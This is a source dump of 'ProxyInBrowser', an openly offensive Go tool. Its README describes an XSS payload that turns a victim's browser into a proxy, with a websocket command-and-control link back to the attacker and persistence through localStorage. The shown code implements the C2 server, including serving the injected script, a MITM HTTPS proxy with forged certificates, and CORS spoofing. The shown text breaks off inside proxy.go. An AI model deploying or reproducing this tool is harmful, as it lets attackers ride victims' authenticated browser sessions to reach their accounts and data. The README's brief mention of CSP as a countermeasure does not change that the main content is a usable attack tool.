github.com/bytedance/sonic/loader v0.1.1 // indirect 19 | github.com/cloudwego/base64x v0.1.4 // indirect 20 | github.com/cloudwego/iasm v0.2.0 // indirect 21 | github.com/gabriel-vasile/mimetype v1.4.3 // indirect 22 | github.com/gdamore/encoding v1.0.0 // indirect 23 | github.com/gin-contrib/sse v0.1.0 // indirect 24 | github.com/go-playground/locales v0.14.1 // indirect 25 | github.com/go-playground/universal-translator v0.18.1 // indirect 26 | github.com/go-playground/validator/v10 v10.20.0 // indirect 27 | github.com/goccy/go-json v0.10.2 // indirect 28 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 29 | github.com/json-iterator/go v1.1.12 // indirect 30 | github.com/klauspost/cpuid/v2 v2.2.7 // indirect 31 | github.com/leodido/go-urn v1.4.0 // indirect 32 | github.com/lucasb-eyer/go-colorful v1.2.0 // indirect 33 | github.com/mattn/go-isatty v0.0.20 // indirect 34 | github.com/mattn/go-runewidth v0.0.15 // indirect 35 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 36 | github.com/modern-go/reflect2 v1.0.2 // indirect 37 | github.com/pelletier/go-toml/v2 v2.2.2 // indirect 38 | github.com/rivo/uniseg v0.4.7 // indirect 39 | github.com/spf13/pflag v1.0.5 // indirect 40 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect 41 | github.com/ugorji/go/codec v1.2.12 // indirect 42 | golang.org/x/arch v0.8.0 // indirect 43 | golang.org/x/crypto v0.23.0 // indirect 44 | golang.org/x/net v0.25.0 // indirect 45 | golang.org/x/sys v0.20.0 // indirect 46 | golang.org/x/term v0.20.0 // indirect 47 | golang.org/x/text v0.15.0 // indirect 48 | google.golang.org/protobuf v1.34.1 // indirect 49 | gopkg.in/yaml.v3 v3.0.1 // indirect 50 | ) 51 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ProxyInBrowser 2 | 3 | Here is Proxy in browser Project, a project that aims to provide a simple way in impersonate any web request with fetch API 4 | and create a simple http proxy service at local. 5 | 6 | You can make request via http proxy and that request will send to the browser which executed payloads and let the browser request on behalf of you. 7 | 8 | ## How to 9 | 10 | The "ProxyInBrowser" project will established an HTTP proxy through a browser to execute web requests. It leverages the fetch API to allow a victim's browser to make customized requests as per the attacker's parameters, enabling the attacker to receive responses from the victim's browser. 11 | 12 | A typical use case for this project is in XSS (Cross-Site Scripting) attacks where, after injecting a generated malicious script, the payload from this project is automatically loaded, and JavaScript is executed to establish a WebSocket connection back to the attacker. The WebSocket is for command and control communication, which can bypass some CSP but will not automatically rebuilt unless the XSS trigger is reactivated. Also it will persist by using a specific client trace id inside localstorage, which allows controller backend knows which client is. 13 | 14 | The main security measure against such exploits is a well-configured Content Security Policy (CSP) that can prevent XSS and block tools like ProxyInBrowser. 15 | 16 | The primary technical challenge involves stripping browser HTTPS requests by using a methodology similar to Burp Suite to create an HTTP proxy and performing MITM attacks with self-signed CA certificates. This setup allows manipulation of Fetch API calls and CORS responses to bypass security measures in browsers, considering ongoing updates and security enhancements. 17 | 18 | ## Installation 19 | 20 | ### Pre-requisites 21 | 22 | ```bash 23 | rlwrap # for better readline support 24 | pbcopy # copy payload 25 | ``` 26 | 27 | ### start 28 | 29 | ```bash 30 | make 31 | ``` 32 | 33 | ## Usage 34 | 35 | ```bash 36 | ./server 37 | ``` 38 | 39 | paste payload on website or developer kit console. 40 | 41 | ### Example 42 | 43 | ```bash 44 | Console> help 45 | ``` 46 | 47 | ### Usage Demo 48 | 49 | [![ProxyInBrowser Usage Demo](https://markdown-videos-api.jorgenkh.no/url?url=https%3A%2F%2Fyoutu.be%2FoJyczopfzrc)](https://youtu.be/oJyczopfzrc) 50 | 51 | ## Known Issue 52 | 53 | no-cors mode fetch command will let chrome broswer ban javascript get response from some where. It will happen when cross site CDN js/image resource is included in that website. 54 | 55 | So Fetch can't impersonate any request that browser does. :( 56 | 57 | ## Sponsor 58 | 59 | [Patreon](https://patreon.com/Skyworshiper?utm_medium=unknown&utm_source=join_link&utm_campaign=creatorshare_creator&utm_content=copyLink) -------------------------------------------------------------------------------- /cmd/server/sessionmanager/server.go: -------------------------------------------------------------------------------- 1 | package sessionmanager 2 | 3 | import ( 4 | _ "embed" 5 | "encoding/json" 6 | "io" 7 | "net/http" 8 | "net/http/httputil" 9 | "strings" 10 | "sync" 11 | "time" 12 | 13 | define "github.com/esonhugh/proxyinbrowser/cmd/server/define" 14 | "github.com/gin-gonic/gin" 15 | "github.com/google/uuid" 16 | "github.com/gorilla/websocket" 17 | log "github.com/sirupsen/logrus" 18 | ) 19 | 20 | var WebsocketConnMap = SafeWebsocketConnMap{mapper: sync.Map{}} 21 | 22 | //go:embed bundle.js 23 | var fileContent string 24 | 25 | func RunServer(buffer io.Writer) { 26 | gin.DefaultWriter = buffer 27 | gin.DisableConsoleColor() 28 | 29 | router := gin.Default() 30 | 31 | _ = router.SetTrustedProxies(nil) // disable 32 | var upgrader = websocket.Upgrader{ 33 | ReadBufferSize: 1024 * 4, 34 | WriteBufferSize: 1024 * 4, 35 | CheckOrigin: func(r *http.Request) bool { 36 | return true 37 | }, 38 | } 39 | 40 | router.GET("/cert", func(c *gin.Context) { 41 | c.FileAttachment("cert/cert.pem", "cert.pem") 42 | }) 43 | 44 | router.GET("/:id/init", func(c *gin.Context) { 45 | c.Header("Content-Type", "application/javascript") 46 | content := strings.ReplaceAll( 47 | strings.ReplaceAll( 48 | fileContent, "localhost:9999", c.Request.Host), 49 | "__ENDPOINT__", c.Param("id")) 50 | c.String(http.StatusOK, content) 51 | }) 52 | 53 | router.Any("/:id/infos", func(c *gin.Context) { 54 | req, err := httputil.DumpRequest(c.Request, true) 55 | if err != nil { 56 | log.Error("Try dump request error", err) 57 | } 58 | log.Info(string(req)) 59 | }) 60 | 61 | // Handle WebSocket connections 62 | router.GET("/:id", func(c *gin.Context) { 63 | conn, err := upgrader.Upgrade(c.Writer, c.Request, nil) 64 | if err != nil { 65 | // panic(err) 66 | log.Errorf("%s, error while Upgrading websocket connection", err.Error()) 67 | c.AbortWithError(http.StatusInternalServerError, err) 68 | return 69 | } 70 | 71 | connId := uuid.New().String() 72 | client := define.NewWebSocketClient(conn) 73 | WebsocketConnMap.Set(connId, client) 74 | defer WebsocketConnMap.Delete(connId) 75 | 76 | log.Infof("receive new connection! alloc new session id: %v", connId) 77 | l := log.WithField("session", connId) 78 | 79 | // init! 80 | _, p, err := conn.ReadMessage() 81 | if err != nil { 82 | l.Errorf("Init read message failed") 83 | } 84 | var msg map[string]string 85 | if err = json.Unmarshal(p, &msg); err != nil { 86 | l.Errorf("Init message unmarshal failed. reason: %s, data: %v", err.Error(), string(p)) 87 | } else { 88 | for k, v := range msg { 89 | l.Infof("%s: %s", k, v) 90 | } 91 | } 92 | 93 | for { 94 | _, p, err := conn.ReadMessage() 95 | if err != nil { 96 | // panic(err) 97 | l.Errorf("%s, error while reading message", err.Error()) 98 | c.AbortWithError(http.StatusInternalServerError, err) 99 | break 100 | } 101 | p = define.Decode(p) 102 | 103 | var test define.RelayCommandResp 104 | if json.Unmarshal(p, &test) == nil { 105 | client.RelayChan <- test 106 | continue 107 | } 108 | time.Sleep(1000 * time.Millisecond) 109 | } 110 | 111 | }) 112 | 113 | router.Run(":9999") 114 | } 115 | -------------------------------------------------------------------------------- /cmd/server/terminal/app.go: -------------------------------------------------------------------------------- 1 | package terminal 2 | 3 | import ( 4 | "bytes" 5 | "os" 6 | "time" 7 | 8 | "github.com/gdamore/tcell/v2" 9 | "github.com/rivo/tview" 10 | ) 11 | 12 | type ApplicationSpec struct { 13 | ConsoleLogBuffer *bytes.Buffer 14 | CloseCh chan os.Signal 15 | } 16 | 17 | type Application struct { 18 | Spec ApplicationSpec 19 | UI *tview.Application 20 | LogArea *tview.TextView 21 | } 22 | 23 | func CreateApplication(Spec ApplicationSpec) Application { 24 | return Application{ 25 | Spec: Spec, 26 | UI: tview.NewApplication(), 27 | LogArea: tview.NewTextView(), 28 | } 29 | } 30 | 31 | func (app *Application) Run() { 32 | LogUI := app.CreateLogUI() 33 | TermUI := app.CreateTermUI() 34 | app.LogArea = LogUI 35 | Flex := tview.NewFlex().SetDirection(tview.FlexRow). 36 | AddItem(LogUI, 0, 1, false). 37 | AddItem(TermUI, 3, 1, true) 38 | app.UI.SetRoot(Flex, true) 39 | app.UI.EnableMouse(true) 40 | if err := app.UI.Run(); err != nil { 41 | panic(err) 42 | } 43 | } 44 | 45 | func (app *Application) Stop() { 46 | app.UI.Stop() 47 | } 48 | 49 | func (app Application) CreateLogUI() *tview.TextView { 50 | LogUI := tview.NewTextView(). 51 | SetDynamicColors(true). 52 | SetRegions(true). 53 | SetWordWrap(true). 54 | SetChangedFunc(func() { 55 | app.UI.Draw() 56 | }) 57 | LogUI.SetBorder(true). 58 | SetTitle("Console Log"). 59 | SetTitleAlign(tview.AlignCenter) 60 | 61 | go func() { 62 | oldByte := []byte{} 63 | for { 64 | b := app.Spec.ConsoleLogBuffer.Bytes() 65 | if bytes.Equal(b, oldByte) { 66 | time.Sleep(100 * time.Millisecond) 67 | continue // don't change 68 | } 69 | // b = bytes.ReplaceAll(b, oldByte, []byte("")) 70 | // reconstruct the data 71 | LogUI.Clear() 72 | if _, err := LogUI.Write(b); err != nil { 73 | LogUI.Write([]byte(err.Error())) 74 | } 75 | LogUI.ScrollToEnd() 76 | oldByte = bytes.Clone(b) 77 | time.Sleep(100 * time.Millisecond) 78 | } 79 | }() 80 | 81 | return LogUI 82 | } 83 | 84 | func (app Application) CreateTermUI() *tview.InputField { 85 | TermUI := tview.NewInputField().SetLabel("Console> ") 86 | TermUI.SetBorder(true).SetTitle("Command").SetTitleAlign(tview.AlignCenter) 87 | cmdhistory := []string{} 88 | uptime := 0 89 | TermUI.SetInputCapture(func(event *tcell.EventKey) *tcell.EventKey { 90 | if event.Key() == tcell.KeyEnter { 91 | cmdinput := TermUI.GetText() 92 | if cmdinput == "" { 93 | return event 94 | } 95 | cmdhistory = append(cmdhistory, cmdinput) 96 | app.ExecuteCommand(cmdinput) 97 | TermUI.SetText("") // clean 98 | uptime = 0 99 | } else if event.Key() == tcell.KeyUp { 100 | if len(cmdhistory) < 1+uptime || uptime < 0 { 101 | return event 102 | } 103 | lastx := cmdhistory[len(cmdhistory)-1-uptime] 104 | TermUI.SetText(lastx) 105 | uptime++ 106 | return event 107 | } else if event.Key() == tcell.KeyDown { 108 | uptime-- 109 | if len(cmdhistory) < 1+uptime || uptime < 0 { 110 | return event 111 | } 112 | lastx := cmdhistory[len(cmdhistory)-1-uptime] 113 | TermUI.SetText(lastx) 114 | return event 115 | } else { 116 | uptime = 0 117 | } 118 | return event 119 | }) 120 | return TermUI 121 | } 122 | -------------------------------------------------------------------------------- /cmd/server/http_proxy/connect.go: -------------------------------------------------------------------------------- 1 | package http_proxy 2 | 3 | import ( 4 | "context" 5 | "crypto/tls" 6 | "errors" 7 | "io" 8 | "net" 9 | "net/http" 10 | "sync" 11 | 12 | log "github.com/sirupsen/logrus" 13 | ) 14 | 15 | type getCertFn func(hostname string) (*tls.Config, error) 16 | 17 | type interceptHandler struct { 18 | listener channelListener 19 | server *http.Server 20 | getCert getCertFn 21 | } 22 | 23 | func newInterceptHandler(getCert getCertFn, innerHandler http.HandlerFunc, wg *sync.WaitGroup, closer chan struct{}) *interceptHandler { 24 | server := &http.Server{ 25 | Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 26 | r.URL.Scheme = "https" 27 | r.URL.Host = r.Host 28 | innerHandler(w, r) 29 | }), 30 | } 31 | 32 | listener := channelListener(make(chan net.Conn)) 33 | 34 | go func() { 35 | // returns always a non-nil error if the server is not closed/shtudown 36 | wg.Add(1) 37 | defer wg.Done() 38 | err := server.Serve(listener) 39 | if err != nil { 40 | log.WithError(err).Error("error serving intercept") 41 | } 42 | }() 43 | 44 | go func() { 45 | <-closer 46 | server.Close() 47 | if err := server.Shutdown(context.TODO()); err != nil { 48 | log.Fatalf("HTTP server Shutdown: %v", err) 49 | } 50 | }() 51 | 52 | return &interceptHandler{ 53 | listener: listener, 54 | server: server, 55 | getCert: getCert, 56 | } 57 | } 58 | 59 | func (i *interceptHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { 60 | host, _, err := net.SplitHostPort(r.Host) 61 | if err != nil { 62 | log.Errorf("split host port failed '%s': %s", r.Host, err) 63 | http.Error(w, http.StatusText(http.StatusBadRequest)+err.Error(), http.StatusBadRequest) 64 | return 65 | } 66 | 67 | tlsConfig, err := i.getCert(host) 68 | if err != nil { 69 | log.Error("failed to obtain tls config:", err) 70 | http.Error(w, http.StatusText(http.StatusInternalServerError)+err.Error(), http.StatusInternalServerError) 71 | return 72 | } 73 | 74 | hj, ok := w.(http.Hijacker) 75 | if !ok { 76 | log.Error("hijack of connection failed") 77 | http.Error(w, http.StatusText(http.StatusInternalServerError)+err.Error(), http.StatusInternalServerError) 78 | return 79 | } 80 | 81 | w.WriteHeader(http.StatusOK) 82 | 83 | clientConn, _, err := hj.Hijack() 84 | if err != nil { 85 | log.Error("hijack failed:", err) 86 | http.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError) 87 | return 88 | } 89 | 90 | tlsConn := tls.Server(clientConn, tlsConfig) 91 | i.handleConnection(tlsConn) 92 | } 93 | 94 | func (i *interceptHandler) handleConnection(c net.Conn) { 95 | i.listener <- c 96 | } 97 | 98 | func (i *interceptHandler) Close() { 99 | i.server.Close() 100 | } 101 | 102 | // channelListener allows to send connection into a listener through a channel 103 | type channelListener chan net.Conn 104 | 105 | func (cl channelListener) Accept() (net.Conn, error) { 106 | if conn, ok := <-cl; !ok { 107 | return nil, errors.New("channel closed") 108 | } else if conn == nil { 109 | return nil, io.EOF 110 | } else { 111 | return conn, nil 112 | } 113 | } 114 | 115 | func (cl channelListener) Addr() net.Addr { 116 | return nil 117 | } 118 | 119 | func (cl channelListener) Close() error { 120 | close(cl) 121 | return nil 122 | } 123 | -------------------------------------------------------------------------------- /cmd/server/http_proxy/cert.go: -------------------------------------------------------------------------------- 1 | package http_proxy 2 | 3 | import ( 4 | "crypto" 5 | "crypto/rand" 6 | "crypto/rsa" 7 | "crypto/tls" 8 | "crypto/x509" 9 | "crypto/x509/pkix" 10 | "encoding/pem" 11 | "math/big" 12 | "os" 13 | "time" 14 | ) 15 | 16 | type certGenerator struct { 17 | caCert *x509.Certificate 18 | caKey crypto.PrivateKey 19 | } 20 | 21 | func newCertGenerator(publicKeyFile, privateKeyFile string) (*certGenerator, error) { 22 | tlsCert, err := tls.LoadX509KeyPair(publicKeyFile, privateKeyFile) 23 | if err != nil { 24 | return nil, err 25 | } 26 | caCert, err := x509.ParseCertificate(tlsCert.Certificate[0]) 27 | if err != nil { 28 | return nil, err 29 | } 30 | return &certGenerator{ 31 | caCert: caCert, 32 | caKey: tlsCert.PrivateKey, 33 | }, nil 34 | } 35 | 36 | func (cg *certGenerator) Get(hostname string) (*tls.Config, error) { 37 | serial, err := getRandomSerialNumber() 38 | if err != nil { 39 | return nil, err 40 | } 41 | 42 | hostCert := &x509.Certificate{ 43 | SerialNumber: serial, 44 | ExtKeyUsage: []x509.ExtKeyUsage{ 45 | x509.ExtKeyUsageServerAuth, 46 | }, 47 | BasicConstraintsValid: true, 48 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, 49 | DNSNames: []string{hostname}, 50 | NotBefore: time.Now().Add(-time.Second * 300), 51 | NotAfter: time.Now().Add(time.Hour * 24 * 30), 52 | Subject: pkix.Name{ 53 | CommonName: hostname, 54 | }, 55 | } 56 | 57 | key, err := rsa.GenerateKey(rand.Reader, 2048) 58 | if err != nil { 59 | return nil, err 60 | } 61 | 62 | certDER, err := x509.CreateCertificate(rand.Reader, hostCert, cg.caCert, key.Public(), cg.caKey) 63 | if err != nil { 64 | return nil, err 65 | } 66 | tlsConfig := &tls.Config{ 67 | Certificates: []tls.Certificate{ 68 | { 69 | Certificate: [][]byte{ 70 | certDER, 71 | }, 72 | PrivateKey: key, 73 | }, 74 | }, 75 | NextProtos: []string{ 76 | "http/1.1", 77 | "h2", 78 | }, 79 | } 80 | return tlsConfig, nil 81 | } 82 | 83 | func createCA(caCertFile, caKeyFile string) error { 84 | serial, err := getRandomSerialNumber() 85 | if err != nil { 86 | return err 87 | } 88 | 89 | caCert := &x509.Certificate{ 90 | SerialNumber: serial, 91 | BasicConstraintsValid: true, 92 | IsCA: true, 93 | KeyUsage: x509.KeyUsageKeyEncipherment | 94 | x509.KeyUsageDigitalSignature | 95 | x509.KeyUsageCertSign | 96 | x509.KeyUsageCRLSign, 97 | NotBefore: time.Now(), 98 | NotAfter: time.Now().Add(time.Hour * 24 * 365 * 10), 99 | Subject: pkix.Name{ 100 | CommonName: "Proxy CA", 101 | }, 102 | } 103 | 104 | key, err := rsa.GenerateKey(rand.Reader, 2048) 105 | if err != nil { 106 | return err 107 | } 108 | 109 | caCertDER, err := x509.CreateCertificate(rand.Reader, caCert, caCert, key.Public(), key) 110 | if err != nil { 111 | return err 112 | } 113 | caCertPEM := &pem.Block{ 114 | Type: "CERTIFICATE", 115 | Bytes: caCertDER, 116 | } 117 | err = os.WriteFile(caCertFile, pem.EncodeToMemory(caCertPEM), 0640) 118 | if err != nil { 119 | return err 120 | } 121 | 122 | caKeyDER, err := x509.MarshalPKCS8PrivateKey(key) 123 | if err != nil { 124 | return err 125 | } 126 | caKeyPEM := &pem.Block{ 127 | Type: "PRIVATE KEY", 128 | Bytes: caKeyDER, 129 | } 130 | err = os.WriteFile(caKeyFile, pem.EncodeToMemory(caKeyPEM), 0600) 131 | if err != nil { 132 | return err 133 | } 134 | return nil 135 | } 136 | 137 | func getRandomSerialNumber() (*big.Int, error) { 138 | serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) 139 | return rand.Int(rand.Reader, serialNumberLimit) 140 | } 141 | -------------------------------------------------------------------------------- /cmd/server/http_proxy/main.go: -------------------------------------------------------------------------------- 1 | package http_proxy 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "net/http" 7 | "net/http/httputil" 8 | "os" 9 | "sync" 10 | 11 | "github.com/esonhugh/proxyinbrowser/cmd/server/define" 12 | log "github.com/sirupsen/logrus" 13 | ) 14 | 15 | func logRequest(next http.HandlerFunc) http.HandlerFunc { 16 | return func(w http.ResponseWriter, r *http.Request) { 17 | requestDump, _ := httputil.DumpRequest(r, false) 18 | log.Debugf("url=%s\n\n%s\n", r.URL, requestDump) 19 | next.ServeHTTP(w, r) 20 | } 21 | } 22 | 23 | /* 24 | func OldCreateHttpProxyServer(TargetConn *websocket.Conn, Port string, rch chan define.RelayCommandResp, stop chan struct{}) { 25 | var ( 26 | caCertFile = "cert/cert.pem" 27 | caKeyFile = "cert/key.pem" 28 | httpServerExitDone = &sync.WaitGroup{} 29 | ) 30 | 31 | certGen, err := newCertGenerator(caCertFile, caKeyFile) 32 | if err != nil { 33 | log.Error(err) 34 | os.Exit(1) 35 | } 36 | 37 | // wsproxy := createHTTPProxy(TargetConn, rch) 38 | // forwardHandler := wsproxy.ServeHTTP 39 | 40 | // connectHandler := newInterceptHandler(certGen.Get, logRequest(forwardHandler), httpServerExitDone, stop) 41 | 42 | handler := logRequest(func(w http.ResponseWriter, r *http.Request) { 43 | if r.Method == "CONNECT" { 44 | // connectHandler.ServeHTTP(w, r) 45 | } else { 46 | // forwardHandler(w, r) 47 | // wsproxy.ServeHTTP(w, r) 48 | } 49 | }) 50 | 51 | srv := &http.Server{ 52 | Addr: ":" + Port, 53 | Handler: http.HandlerFunc(handler), 54 | } 55 | 56 | go func() { 57 | httpServerExitDone.Add(1) 58 | defer httpServerExitDone.Done() 59 | err := srv.ListenAndServe() 60 | if !errors.Is(err, http.ErrServerClosed) && err != nil { 61 | log.Error(err) 62 | } 63 | }() 64 | log.Infof("HTTP Proxy server is started on port: %v", Port) 65 | <-stop // block if receive stop command 66 | if err := srv.Shutdown(context.TODO()); err != nil { 67 | log.Fatalf("HTTP server Shutdown: %v", err) 68 | } 69 | httpServerExitDone.Wait() 70 | log.Info("HTTP server stopped") 71 | } 72 | */ 73 | 74 | var p *WebsocketHTTPProxy 75 | 76 | func Serve(TargetConn *define.WebsocketClient, Port string) { 77 | p = NewWebSocketHTTPProxy(TargetConn) 78 | p.Serve(Port) 79 | } 80 | 81 | func Stop() { 82 | p.Stop() 83 | } 84 | 85 | type WebsocketHTTPProxy struct { 86 | conn *define.WebsocketClient 87 | tlsConfig struct { 88 | CaKeyFile string 89 | CaCertFile string 90 | } 91 | 92 | stop chan struct{} 93 | ExitDoneWg *sync.WaitGroup 94 | } 95 | 96 | func NewWebSocketHTTPProxy(conn *define.WebsocketClient) *WebsocketHTTPProxy { 97 | return &WebsocketHTTPProxy{ 98 | conn: conn, 99 | tlsConfig: struct { 100 | CaKeyFile string 101 | CaCertFile string 102 | }{ 103 | "cert/key.pem", 104 | "cert/cert.pem", 105 | }, 106 | stop: make(chan struct{}), 107 | ExitDoneWg: new(sync.WaitGroup), 108 | } 109 | } 110 | 111 | func (c *WebsocketHTTPProxy) Serve(port string) { 112 | certGen, err := newCertGenerator(c.tlsConfig.CaCertFile, c.tlsConfig.CaKeyFile) 113 | if err != nil { 114 | log.Print(err) 115 | os.Exit(1) 116 | } 117 | 118 | wsproxy := createHTTPProxy(c.conn) 119 | forwardHandler := wsproxy.ServeHTTP 120 | 121 | connectHandler := newInterceptHandler(certGen.Get, logRequest(forwardHandler), c.ExitDoneWg, c.stop) 122 | 123 | handler := logRequest(func(w http.ResponseWriter, r *http.Request) { 124 | if r.Method == "CONNECT" { 125 | connectHandler.ServeHTTP(w, r) 126 | } else { 127 | forwardHandler(w, r) 128 | // wsproxy.ServeHTTP(w, r) 129 | } 130 | }) 131 | 132 | srv := &http.Server{ 133 | Addr: ":" + port, 134 | Handler: http.HandlerFunc(handler), 135 | } 136 | 137 | go func() { 138 | c.ExitDoneWg.Add(1) 139 | defer c.ExitDoneWg.Done() 140 | err := srv.ListenAndServe() 141 | if !errors.Is(err, http.ErrServerClosed) && err != nil { 142 | log.Error(err) 143 | } 144 | }() 145 | log.Infof("HTTP Proxy server is started on port: %v", port) 146 | <-c.stop // block if receive stop command 147 | if err := srv.Shutdown(context.TODO()); err != nil { 148 | log.Fatalf("HTTP server Shutdown: %v", err) 149 | } 150 | c.ExitDoneWg.Wait() 151 | log.Info("HTTP server stopped") 152 | } 153 | 154 | func (c *WebsocketHTTPProxy) Stop() { 155 | c.stop <- struct{}{} 156 | } 157 | -------------------------------------------------------------------------------- /cmd/server/terminal/command.go: -------------------------------------------------------------------------------- 1 | package terminal 2 | 3 | import ( 4 | "github.com/esonhugh/proxyinbrowser/cmd/server/terminal/tcmd" 5 | _ "github.com/esonhugh/proxyinbrowser/cmd/server/terminal/tcmd/admin" 6 | _ "github.com/esonhugh/proxyinbrowser/cmd/server/terminal/tcmd/ops" 7 | log "github.com/sirupsen/logrus" 8 | "strings" 9 | ) 10 | 11 | func ReOrderArgs(cmd string) []string { 12 | cmdSplit := strings.Split(cmd, " ") 13 | var args []string 14 | for i := 0; i < len(cmdSplit); i++ { 15 | currentToken := cmdSplit[i] 16 | if currentToken == "" { 17 | continue 18 | } 19 | if currentToken[0] == '"' { 20 | for j := i; j < len(cmdSplit); j++ { 21 | end_token := cmdSplit[j] 22 | if end_token == "" { 23 | continue 24 | } 25 | if end_token[len(end_token)-1] == '"' { 26 | currentToken = strings.Join(cmdSplit[i:j+1], " ") 27 | i = j 28 | break 29 | } 30 | } 31 | currentToken = strings.TrimPrefix(strings.TrimSuffix(currentToken, "\""), "\"") 32 | } else if currentToken[0] == '\'' { 33 | for j := i; j < len(cmdSplit); j++ { 34 | end_token := cmdSplit[j] 35 | if end_token == "" { 36 | continue 37 | } 38 | if end_token[len(end_token)-1] == '\'' { 39 | currentToken = strings.Join(cmdSplit[i:j+1], " ") 40 | i = j 41 | break 42 | } 43 | } 44 | currentToken = strings.TrimPrefix(strings.TrimSuffix(currentToken, "'"), "'") 45 | } 46 | if currentToken != "" { 47 | args = append(args, currentToken) 48 | } 49 | } 50 | return args 51 | } 52 | 53 | var ( 54 | uid string 55 | stopper = make(chan struct{}, 1) 56 | ) 57 | 58 | func (app Application) ExecuteCommand(cmd string) { 59 | cmdSplited := ReOrderArgs(cmd) 60 | // log.Traceln("Cmd: ", "["+strings.Join(cmdSplited, "][")+"]") 61 | if len(cmdSplited) >= 1 && cmdSplited[0] == "clear" { 62 | app.Spec.ConsoleLogBuffer.Reset() 63 | app.LogArea.Clear() 64 | } 65 | tcmd.RootCmd.SetArgs(cmdSplited) 66 | tcmd.RootCmd.SetOut(app.Spec.ConsoleLogBuffer) 67 | tcmd.RootCmd.CompletionOptions.DisableDefaultCmd = true 68 | tcmd.RootCmd.SilenceUsage = true 69 | tcmd.RootCmd.DisableSuggestions = true 70 | err := tcmd.RootCmd.Execute() 71 | if err != nil { 72 | log.Error(err) 73 | } 74 | 75 | /* 76 | cmdSplited := ReOrderArgs(cmd) 77 | // log.Traceln("Cmd: ", "["+strings.Join(cmdSplited, "][")+"]") 78 | var conn *websocket.Conn 79 | if uid != "" { 80 | conn = sessionmanager.WebsocketConnMap.Get(uid) 81 | } 82 | var taskID = uuid.New().String() 83 | log := log.WithField("session", uid) 84 | // System Command 85 | if len(cmdSplited) < 0 { 86 | return 87 | } 88 | { 89 | switch cmdSplited[0] { 90 | case "help": 91 | log.Infoln("\nCommands: \n" + 92 | " uid: Show current session id\n" + 93 | " list: List all session id\n" + 94 | " use [uid]: Use session id, if not specified, use first one\n" + 95 | " relay: Start HTTP/S Proxy to relay any request to remote browser\n" + 96 | " stop: Stop HTTP/S Proxy\n" + 97 | " clear: clean screen" + 98 | " exit/quit: Exit") 99 | return 100 | case "uid": 101 | log.Infoln("current session id: ", uid) 102 | return 103 | case "list": 104 | list := sessionmanager.WebsocketConnMap.List() 105 | log.Infoln("\n======LIST======\n" + strings.Join(list, "\n")) 106 | return 107 | case "use": 108 | if len(cmdSplited) < 2 { 109 | list := sessionmanager.WebsocketConnMap.List() 110 | if len(list) == 0 { 111 | log.Errorln("No session id available") 112 | return 113 | } else { 114 | uid = list[0] 115 | log.Infoln("Use default uid: ", uid) 116 | } 117 | return 118 | } 119 | uid = cmdSplited[1] 120 | log.Infoln("Use ", uid) 121 | return 122 | case "clear": 123 | app.Spec.ConsoleLogBuffer.Reset() 124 | app.LogArea.Clear() 125 | return 126 | case "quit", "exit": 127 | app.Spec.CloseCh <- syscall.SIGTERM 128 | os.Exit(0) 129 | } 130 | } 131 | 132 | { 133 | // Task command 134 | if conn == nil { 135 | log.Errorln("Connection not found or uid error") 136 | return 137 | } 138 | switch cmdSplited[0] { 139 | case "relay": 140 | go http_proxy.CreateHttpProxyServer(conn, "9001", app.Spec.Rch, stopper) 141 | case "stop": 142 | stopper <- struct{}{} 143 | log.Infof("SendTo Stop signal to stop relay\n") 144 | stopper = make(chan struct{}, 1) 145 | } 146 | log.Infoln("Beacon command sent. Task: ", taskID) 147 | } 148 | */ 149 | } 150 | -------------------------------------------------------------------------------- /cmd/server/http_proxy/proxy.go: -------------------------------------------------------------------------------- 1 | package http_proxy 2 | 3 | import ( 4 | "fmt" 5 | "github.com/esonhugh/proxyinbrowser/cmd/server/define" 6 | "github.com/google/uuid" 7 | log "github.com/sirupsen/logrus" 8 | "io" 9 | "io/ioutil" 10 | "net/http" 11 | "strings" 12 | ) 13 | 14 | type proxy struct { 15 | Conn *define.WebsocketClient 16 | } 17 | 18 | func (p *proxy) corsMiddleware(wr http.ResponseWriter, req *http.Request) bool { 19 | if req.Method == http.MethodOptions { 20 | log.Infoln("Triggered by OPTIONS method") 21 | 22 | var methodStrings = strings.Split("GET,POST,PUT,DELETE,PATCH,OPTIONS", ",") 23 | if str := req.Header.Get("Access-Control-Request-Method"); str != "" { 24 | methodStrings = req.Header.Values("Access-Control-Request-Method") 25 | } 26 | var headerStrings = []string{"Content-Type"} 27 | if str := req.Header.Get("Access-Control-Request-Headers"); str != "" { 28 | headerStrings = req.Header.Values("Access-Control-Request-Headers") 29 | } 30 | var Origin = "*" 31 | if str := req.Header.Get("Origin"); str != "" { 32 | Origin = str 33 | wr.Header().Add("Access-Control-Allow-Credentials", "true") 34 | } 35 | wr.Header().Add("Access-Control-Allow-Origin", Origin) 36 | 37 | for _, method := range methodStrings { 38 | wr.Header().Add("Access-Control-Allow-Methods", method) 39 | } 40 | for _, header := range headerStrings { 41 | wr.Header().Add("Access-Control-Allow-Headers", header) 42 | } 43 | wr.WriteHeader(http.StatusNoContent) 44 | return true 45 | } 46 | return false 47 | } 48 | 49 | func (p *proxy) hostBlacklist(wr http.ResponseWriter, req *http.Request) bool { 50 | if strings.HasSuffix(req.Host, ".googleapis.com") { 51 | wr.WriteHeader(http.StatusForbidden) 52 | return true 53 | } 54 | return false 55 | } 56 | 57 | func drop(target string, filterer []string) bool { 58 | for _, v := range filterer { 59 | if strings.HasPrefix(strings.ToLower(target), strings.ToLower(v)) { 60 | return true 61 | } 62 | } 63 | return false 64 | } 65 | 66 | func (p *proxy) filterHeader(req *http.Request) map[string]string { 67 | var dataString = make(map[string]string) 68 | droplist := []string{ 69 | "User-Agent", 70 | "Upgrade-Insecure-Requests", 71 | "Cache-Control", 72 | "Pragma", 73 | "Priority", 74 | "Cache-Control", 75 | "Origin", 76 | } 77 | 78 | for k, v := range req.Header { 79 | if drop(k, droplist) { 80 | continue 81 | } 82 | dataString[k] = strings.Join(v, ",") 83 | } 84 | return dataString 85 | } 86 | 87 | func (p *proxy) prepareURL(req *http.Request) string { 88 | var url string 89 | if strings.HasPrefix(req.RequestURI, "http") { // 